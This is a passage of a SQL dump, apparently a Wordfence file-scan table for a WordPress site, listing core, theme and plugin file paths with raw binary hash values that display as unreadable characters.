('e~Q}}\'筏','wp-content/themes/twentytwentyfive/styles/colors/01-evening.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/01-evening.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q_O','o\Z̞R{oK8b	ȅQiٹ','',0,'?'),
('ez٩~]{ϛK','wp-content/plugins/loginizer/assets/images/loginizer-200.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/loginizer-200.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$o0~W+LT1','[_#@eh0Re2<\n|','',0,'?'),
('elsUO|R}ܝi','wp-includes/sodium_compat/src/Crypto32.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Crypto32.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I\r}jǊQX]m','ɱ䱃Fn2c.nMڣ A','',0,'?'),
('e__%x','wp-includes/class-snoopy.php','/home/trevorkl/trevorklee.com/wp-includes/class-snoopy.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kY$0{','3[D\'\ZX5ܝMHm$«R6蛃','',0,'?'),
('e^#|ۍTЩz','wp-includes/Text/Diff/Engine/xdiff.php','/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/xdiff.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^L4Xטo	','L\Z(M b;E.:)Cp','',0,'?'),
('e\'7\r','wp-includes/blocks/group/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hʬHkx','٠XD/5\00\0DlNhew','',0,'?'),
('eʅMGuvMTH','wp-includes/css/dist/admin-ui/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/admin-ui/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k1k;I*',' f%ڞan7w*ں','',0,'?'),
('eއDz\r\Z\n)','wp-content/themes/twentytwentyone/assets/sass/05-blocks/image/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/image/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=F鯗\0c̄q','zε?\08)x.oZ Œ','',0,'?'),
('eG벪*jp','wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_normal_400.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_normal_400.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZF%~*q',' dsr	5~ .-Z͜5d','',0,'?'),
('f<|\0H','wp-content/plugins/akismet/_inc/img/copy.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/copy.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','՝7J,G','	&T^97$u7ckf+xx','',0,'?'),
('fE\0T/UC2q*о','wp-includes/html-api/html5-named-character-references.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/html5-named-character-references.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\09OΜ','Dk֘;Ey&,[ft\\V\\','',0,'?'),
('fX*A)Og','wp-content/themes/twentytwentyfive/patterns/contact-location-and-link.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/contact-location-and-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@\0m^jZ=',']`{ n\nȱZ}Mv','',0,'?'),
('f]&܈','wp-includes/images/media/audio.svg','/home/trevorkl/trevorklee.com/wp-includes/images/media/audio.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8gt &h','@Eyڑ[-C4{\ZкϮ_v]C','',0,'?'),
('fh\ZߝL½A','wp-content/themes/twentytwentyfive/patterns/text-faqs.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/text-faqs.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Oݲ\Z|$.Y','CҳTg^e9`ӏMQ,K	<','',0,'?'),
('fu3\nM\\}6*0','wp-includes/class-wp-customize-setting.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-customize-setting.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%:@~RY{','q$wrRQ\rr^N0#lC','',0,'?'),
('fFAlUp','wp-includes/blocks/post-featured-image/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-featured-image/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9BS^rp1M','\0 LVu9]j҉f\\r\n(','',0,'?'),
('f霰f؟|hUL','wp-admin/includes/ms.php','/home/trevorkl/trevorklee.com/wp-admin/includes/ms.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_8[<~U','cN\n&}=Eԋ\'c@%]','',0,'?'),
('fmȄ%#!y\r','wp-includes/blocks/navigation-submenu/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-submenu/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eFs),3+','qP,$B{r^_z#@b+VGj\n)`','',0,'?'),
('fŭ8;slV','wp-admin/js/privacy-tools.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/privacy-tools.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#ܻ	u{',',y6xl$ꠠ7N;Ǟ-U','',0,'?'),
('f*pd \n^','wp-content/themes/twentytwentyone/template-parts/header/site-branding.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/header/site-branding.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VJv;G','NđB @qvtt\ZxLXs','',0,'?'),
('f-$G2Jd','wp-content/themes/twentynineteen/package.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/package.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8<ngouQs','xRg*|S\Z?.$bmS?Dl','',0,'?'),
('f3YT','wp-includes/js/jquery/ui/tabs.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/tabs.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y/KJS_ʸ','YtY35vld\nzQ','',0,'?'),
('fֈVԹ)9','wp-includes/theme-compat/embed-content.php','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/embed-content.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','me8','}Ecz]#nw?yRa0ޅ6','',0,'?'),
('f둤s#%<XRX@>','wp-content/themes/twentytwenty/assets/fonts/inter/Inter-italic-var.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/fonts/inter/Inter-italic-var.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*x&B!$fW','.7^VtYU@Ď\'~(:>k','',0,'?'),
('gaide-\ZD.','wp-includes/sitemaps/svjbhyp/nogdurq/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/svjbhyp/nogdurq/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('g	?֖1)-','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/LICENSE.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/LICENSE.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a1!	ѵ5I','8@9e{Ӎ#ңn\nYփL','',0,'?'),
('g#,vM:','wp-includes/js/jquery/jquery.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b>|	<2\\Q\Zs','k+/fgƃL@cf9sJtX/nn','',0,'?'),
('g+yrqD/','wp-includes/vars.php','/home/trevorkl/trevorklee.com/wp-includes/vars.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|꾬eh8mQ8/','YFY=`c_&:b#za/Pu%FM','',0,'?'),
('g+wJoG{b','wp-includes/js/dist/vendor/wp-polyfill-formdata.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-formdata.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x4\0ޮ颺','YV[6#\\^uC2f','',0,'?'),
('g9;(v.-Z','wp-content/plugins/wordfence/css/wf-font-awesome.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-font-awesome.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AQ쐔+!:}VNBl','Cx>|\r̭Ұc̥Uop','',0,'?'),
('gQir똿/!','wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',+MLTߜN:=4','Yd$5{.ub,jx@j','',0,'?'),
('gd%0;P','wp-includes/js/dist/script-modules/video-conversion/loader.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/video-conversion/loader.min.asset.php',0,'xtM̬\0wpj:','xtM̬\0wpj:','ڷ86s-.#U$bDՙ','',0,'?'),
('ggF}azUL','wp-content/plugins/loginizer/lib/hybridauth/Logger/LoggerInterface.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Logger/LoggerInterface.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y2yΥ0p@','u+J0A$􋾶XuM3QM','',0,'?'),
('gv\ZUO','wp-includes/blocks/html/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/html/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Xs;Xh&pݼ','>S^u5U(!TY.ޜ+:','',0,'?'),
('g|y_o4\"XN','wp-includes/images/smilies/mrgreen.png','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/mrgreen.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-5^Jj','Mg$+;\05H&\\E6%w','',0,'?'),
('g\ZŞ|q(','wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zWM&836','TR@peS`FaױC>+V%8JyQ','',0,'?'),
('g$G\\;r1X','wp-includes/images/wpicons.png','/home/trevorkl/trevorklee.com/wp-includes/images/wpicons.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dSuqV_a','cZ_?n_K61\\}r','',0,'?'),
('gKN>J4','wp-includes/blocks/freeform/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/freeform/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&>4ݕwɴ[CL?','/N&\Zd1+ڐ(PwD&','',0,'?'),
('gf1۶y;_','wp-includes/class-wp-http-proxy.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-http-proxy.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}4TޗU|',']#j+xwęη:b\ntc','',0,'?'),
('g81h<M<!R','wp-includes/blocks/term-name/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-name/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6qVjgg^;*','3/2vδh\n+9kF','',0,'?'),
('g]e!^(PK','wp-content/plugins/wordfence/models/common/wfTab.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/common/wfTab.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2T}HW\'<}\\','Z¥|sS8e3Eؗ$ܜ-h','',0,'?'),
('g(95(ފE','wp-includes/js/tinymce/plugins/link/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/link/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('g~)~sʞI','wp-admin/includes/class-language-pack-upgrader.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-language-pack-upgrader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7ٯ9<Vr0}M','5̡-ڝL9qȈ>EhtVLWAB','',0,'?'),
('gӁ\"}H,d','wp-includes/blocks/social-links/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-links/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P\r漪^8f','0[ow0f8`*_\"R','',0,'?'),
('g]bR% ZE','wp-includes/js/shortcode.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/shortcode.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>}OP8Z,Ob>',':Da!قv2\"!','',0,'?'),
('gEd1D}','wp-includes/js/jquery/ui/autocomplete.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/autocomplete.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jS4[7\"bqhNy','$E]TB[Uqղcα6ڟ0','',0,'?'),
('h3GK~','wp-content/themes/twentytwentyfive/patterns/pricing-2-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/pricing-2-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#.\ZBc!׼M-L','zPzxJRCg pt-lM2|MȐ','',0,'?'),
('hZ[=wr','wp-includes/sodium_compat/src/Core32/XSalsa20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\:R/+','ɫ:jNmmR[','',0,'?'),
('h\ZOhl_Lm/','wp-includes/class-wp-customize-manager.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-customize-manager.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',)2`Me','MgN9Qqo)իQ;$%','',0,'?'),
('h d껅2_r','wp-includes/functions.wp-styles.php','/home/trevorkl/trevorklee.com/wp-includes/functions.wp-styles.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&ڄ浴M-D','i\n61AXkR|2q쫒r^','',0,'?'),
('h,$b^(SaMĩ','wp-includes/SimplePie/library/SimplePie/Net/IPv6.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Net/IPv6.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$ W2#`','x*`l&ˋqp{<,~%(;','',0,'?'),
('h0X-i^G`8','wp-includes/pluggable.php','/home/trevorkl/trevorklee.com/wp-includes/pluggable.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}Q<3ySZ1','7M<v*W[xi)+wMx}','',0,'?'),
('h4#3`-݈\"','wp-admin/profile.php','/home/trevorkl/trevorklee.com/wp-admin/profile.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0,g;ꙴ','CqN,`vS*Z[`m','',0,'?'),
('h@Z%RF;ti\\m','wp-admin/css/login-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/login-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	pT1}zkYm','F,bUJxA6rGf{D=qԢ','',0,'?'),
('hRz**P\'t^','wp-content/plugins/wordfence/modules/login-security/views/page/passkey-disabled-admin.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/passkey-disabled-admin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P׭0B=','Ar)͋EB\rèγ\ny','',0,'?'),
('hc= 0','wp-includes/block-patterns/social-links-shared-background-color.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/social-links-shared-background-color.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#Qv#&OD','e^]`>qYcT.84S','',0,'?'),
('h|hEf:Ʊ2~','wp-admin/network/theme-install.php','/home/trevorkl/trevorklee.com/wp-admin/network/theme-install.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','堷ȹH^r','fkL\Z)h/F_M9jV','',0,'?'),
('hynoލ#','wp-includes/js/dist/script-modules/core-abilities/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/core-abilities/index.min.js',0,'}z6e*$','}z6e*$','8<P`jủߜs_T','',0,'?'),
('h0','wp-includes/js/dist/script-modules/interactivity-router/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity-router/index.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','X1;qHz^','i6IHwTi}d?TmTQ','',0,'?'),
('h\Z:5)pI','wp-content/themes/twentytwentyfive/assets/images/services-subscriber-photo.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/services-subscriber-photo.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AsKp	S1(b','ġZ#Xnb~OZ/;','',0,'?'),
('hOT,$(','wp-includes/blocks/site-title/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-title/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?d\rkdܩD\0+X',';phm;8[DbӍA`Ћ','',0,'?'),
('hc!\\d/ \0L]sD','wp-includes/assets/script-loader-react-refresh-runtime.php','/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-react-refresh-runtime.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0!j1M/>?','V<#Y&=z;I0Nlz','',0,'?'),
('h~cTOoy4|','wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f\"#6${ JL\'\"','eŇ6\Z(q&ڶ]\nCliީ','',0,'?'),
('hMVm ','wp-includes/blocks/categories/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/categories/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%!\'g','\'Ύs+n[F<0@^T@k','',0,'?'),
('h<]OpNCƴ','wp-content/plugins/wordfence/lib/wordfenceURLHoover.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wordfenceURLHoover.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0\0-~Zҙ3','^z O77\\\06&SûT','',0,'?'),
('hr/B\'0','wp-content/themes/twentynineteen/screenshot.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/screenshot.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ym)ѤN','8/v3|Zg(m&','',0,'?'),
('hso8UF\0','wp-content/plugins/loginizer/lib/hybridauth/Exception/HttpClientFailureException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/HttpClientFailureException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@ib@bMQ	','xO));/3RW\'>xN+!{(','',0,'?'),
('h6;Ғc%7','wp-content/themes/twentytwentyone/assets/images/the-garden-at-bougival-1884.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/the-garden-at-bougival-1884.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^6]Ub','vgMf?KOv/&\"','',0,'?'),
('h<f#n(8','wp-content/themes/twentytwentyfour/templates/home.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/home.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D(`\\>1H]i	','V|ђ?)zRAgaష','',0,'?'),
('hQKV<r:Mg_','wp-includes/js/dist/format-library.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/format-library.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k:LK脇Y(','2V\\全ܧ5AfS\n~0','',0,'?'),
('h,=\"!u셚','wp-includes/blocks/post-comments-count.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-count.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':C@HO}\n','$Zt$ [p9Kic,|/,tF#H','',0,'?'),
('i\nA!OѬs','wp-includes/blocks/comments-pagination-previous/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-previous/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ikmCxʷ','wp-content/plugins/wordfence/lib/wfDashboard.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfDashboard.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','QRE\r','(g\n#y!+P~׾<,I','',0,'?'),
('i;&o?','wp-includes/IXR/class-IXR-base64.php','/home/trevorkl/trevorklee.com/wp-includes/IXR/class-IXR-base64.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*6DTe','?F]L2}\rS@b2OouU\'O','',0,'?'),
('ia{-\Zؙo','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/SipHash.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/SipHash.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}<܎s9','Q\'r t7=s*a`<zo_','',0,'?'),
('idܶ1\"^','wp-includes/blocks/separator/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E`fʐE','\n~ڹ`7|pP*6p.','',0,'?'),
('ii\"oC`','wp-includes/sodium_compat/src/Core/HChaCha20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/HChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5\\_','T񕬻/`DRD0_H\"H','',0,'?'),
('iqxjpR','wp-content/themes/twentytwenty/template-parts/featured-image.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/featured-image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3%N\',Yz','+VK}\0k岗CiE#?>O','',0,'?'),
('i-X8V[~E','wp-admin/css/install-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/install-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{Z3#ev','_K68mV*khf{Ɏ7\0','',0,'?'),
('iCC,+','wp-content/plugins/wordfence/lib/wfWebsite.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfWebsite.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t~AJao','AlET2	:$&b','',0,'?'),
('i\\=Xh$','wp-admin/js/language-chooser.js','/home/trevorkl/trevorklee.com/wp-admin/js/language-chooser.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӤkulLS','r4ij\"܈6&','',0,'?'),
('iQؑ<OȦXL','wp-includes/SimplePie/src/Registry.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xG\\d<','WsnKPs1#̓d8`g','',0,'?'),
('ikCT,','wp-content/plugins/wordfence/lib/wfIPWhitelist.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfIPWhitelist.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2h2aE0','D:]踝zw%[joX`','',0,'?'),
('j$n^)(G*','wp-includes/html-api/smzgnbc/vxswmkl/index.html','/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('j&V164','wp-content/plugins/wordfence/images/icons/ajaxWhite32x32.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/ajaxWhite32x32.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r9 #{','ﾱnѿ0c~NrAug~ΔI','',0,'?'),
('j\'ٚ`w0','wp-includes/blocks/spacer/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/spacer/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('j;_=\Z','wp-includes/blocks/group/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GѯNPh)x\n%','3\0ڄ[ySҬϊ_hdkJ21U','',0,'?'),
('jJH,ܖf0ԧ?','wp-includes/blocks/term-template/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-template/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xM\0\ZacdXt','IMTbCS@諅y`6','',0,'?'),
('jQe;e','wp-includes/css/wp-pointer-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-pointer-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z)ӖO=c','<Ā`p)%SitbH\"w%ėt])','',0,'?'),
('jZ\nc^\\zk','wp-includes/SimplePie/library/SimplePie/Cache.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<\0o<(Gs$','OKʅZ:96!ۺ;','',0,'?'),
('jgXxrTsƤ','wp-includes/blocks/comments-pagination/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/NRilЃɜz','AA\n/#jg$rc=GL','',0,'?'),
('jmEAXuw>܆','wp-admin/css/colors/ectoplasm/colors-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/ectoplasm/colors-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Lj#\"R2y3W','xB\"\"9(nMB','',0,'?'),
('jn8DsW{w&','wp-content/themes/twentytwentyfive/styles/01-evening.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/01-evening.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|kTmF','ɈX=ulI0Ո?v-hg6\\','',0,'?'),
('jtZܿ,','wp-content/plugins/wordfence/fonts/roboto-KFOkCnqEu92Fr1Mu51xIIzQXKMny.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOkCnqEu92Fr1Mu51xIIzQXKMny.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','raai','{JLͻ&{{T:B','',0,'?'),
('jv*)\"yؔ','wp-includes/blocks/widget-group/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/widget-group/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('j䱋%]','wp-includes/class-wp-xmlrpc-server.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-xmlrpc-server.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0P7u$)C','V!͋xb<\rkni`','',0,'?'),
('j_mEQ,k','wp-content/themes/twentytwenty/template-parts/entry-author-bio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/entry-author-bio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z%L\Z\"g݅','56XGa|xq[bIp*','',0,'?'),
('jp\0Z','wp-content/plugins/wordfence/modules/login-security/views/email/login-verification.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/email/login-verification.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XG\n{EYr\'#','O\'rP2v_!\r2/CΞ','',0,'?'),
('j)nQ8ޮD','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','KEP׎o','	Not&=l\'N9RUе@wQ]','',0,'?'),
('j5F+o','wp-includes/images/crystal/interactive.png','/home/trevorkl/trevorklee.com/wp-includes/images/crystal/interactive.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Rm``9','$멘<x1ՓIRV-VZ\\jg.','',0,'?'),
('j\\\nq1l.','wp-includes/js/dist/script-modules/block-library/playlist/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/playlist/view.min.js',0,'aS&YO]8','aS&YO]8','49]9m@x31','',0,'?'),
('jd>hA\r2f','wp-includes/abilities-api/class-wp-abilities-registry.php','/home/trevorkl/trevorklee.com/wp-includes/abilities-api/class-wp-abilities-registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u~st','F(g(K[a6Tnd=gp','',0,'?'),
